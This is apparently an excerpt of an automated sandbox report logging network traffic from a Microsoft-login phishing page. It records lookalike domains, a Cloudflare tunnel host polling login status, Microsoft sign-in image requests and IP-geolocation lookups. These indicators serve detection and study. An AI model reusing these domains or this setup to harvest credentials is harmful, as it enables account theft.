Source: global traffic	HTTP traffic detected: GET /api/login HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/login HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CLbgygE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CLbgygE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cdn.tailwindcss.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3.4.16 HTTP/1.1Host: cdn.tailwindcss.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_c2616792e1950f83fdef6e72dab97293.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CLbgygE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br
Source: global traffic	DNS traffic detected: DNS query: pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev
Source: global traffic	DNS traffic detected: DNS query: cdn.tailwindcss.com
Source: global traffic	DNS traffic detected: DNS query: unpkg.com
Source: global traffic	DNS traffic detected: DNS query: assets5.lottiefiles.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: prod.spline.design
Source: global traffic	DNS traffic detected: DNS query: button-students-container-titans.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipapi.co

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3616sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZcf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: application/xmlTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, PUT, DELETE, HEADServer: AmazonS3Date: Thu, 27 Mar 2025 15:59:54 GMTX-Cache: Error from cloudfrontVia: 1.1 b67b60901a678f2f5872beaa2033c562.cloudfront.net (CloudFront)X-Amz-Cf-Pop: JFK52-P5X-Amz-Cf-Id: BsYjZ-EwNMYjbO5xTpArlPhpgW3pn81Vd_KCcmdJ4eTwi6JVhh_zHg==
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 15:59:57 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 9270190ee854efa3-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 16:00:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 92701a5e8eac7ca5-EWRCF-Cache-Status: DYNAMICServer: cloudflare
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 16:01:05 GMTContent-Length: 0Connection: closeVary: OriginCache-Control: max-age=14400CF-Cache-Status: HITAge: 160Server: cloudflareCF-RAY: 92701abb2a6a435e-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=84088&min_rtt=83247&rtt_var=18432&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1173&delivery_rate=36707&cwnd=252&unsent_bytes=0&cid=5406cb0651ed3e66&ts=408&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 16:01:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 92701b7fbb661849-EWRCF-Cache-Status: DYNAMICServer: cloudflare

Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e3281710
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_call_c2616792e1950f83fdef6e72dab
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://api.ipify.org?format=json
Source: chromecache_126.1.dr	String found in binary or memory: https://app.spline.design/_assets/_icons/icon_favicon32x32.png);
Source: chromecache_124.1.dr	String found in binary or memory: https://assets5.lottiefiles.com/packages/lf20_zw0djhar.json
Source: chromecache_118.1.dr, chromecache_85.1.dr, chromecache_124.1.dr	String found in binary or memory: https://cdn.tailwindcss.com
Source: chromecache_124.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onTurnstileLoad
Source: chromecache_106.1.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://evilmartians.com/chronicles/postcss-8-plugin-migration
Source: chromecache_126.1.dr	String found in binary or memory: https://gist.github.com/tschw/da10c43c467ce8afd0c4
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://github.com/browserslist/browserslist#readme
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://github.com/jonschlinkert/fill-range
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://github.com/jonschlinkert/is-number
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://github.com/micromatch/to-regex-range
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://github.com/postcss/autoprefixer#readme
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://ipapi.co/$
Source: chromecache_85.1.dr, chromecache_124.1.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031be
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://mths.be/cssesc
Source: chromecache_124.1.dr	String found in binary or memory: https://prod.spline.design/mAXoIkgd8xZRsO2j/scene.splinecode
Source: chromecache_118.1.dr, chromecache_85.1.dr	String found in binary or memory: https://pub-dfd33530d0df476092e8325dabd3a066.r2.dev/mailboxstatus.html
Source: chromecache_126.1.dr	String found in binary or memory: https://spline.design/?utm_source=spline-viewer&utm_campaign=spline-logo
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://tailwindcss.com/docs/installation
Source: chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	String found in binary or memory: https://twitter.com/browserslist
Source: chromecache_124.1.dr	String found in binary or memory: https://unpkg.com/
Source: chromecache_106.1.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: chromecache_126.1.dr	String found in binary or memory: https://www.gamedev.net/articles/programming/graphics/contact-hardening-soft-shadows-made-fast-r4906
Source: chromecache_126.1.dr	String found in binary or memory: https://www.shadertoy.com/view/ltScRG

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
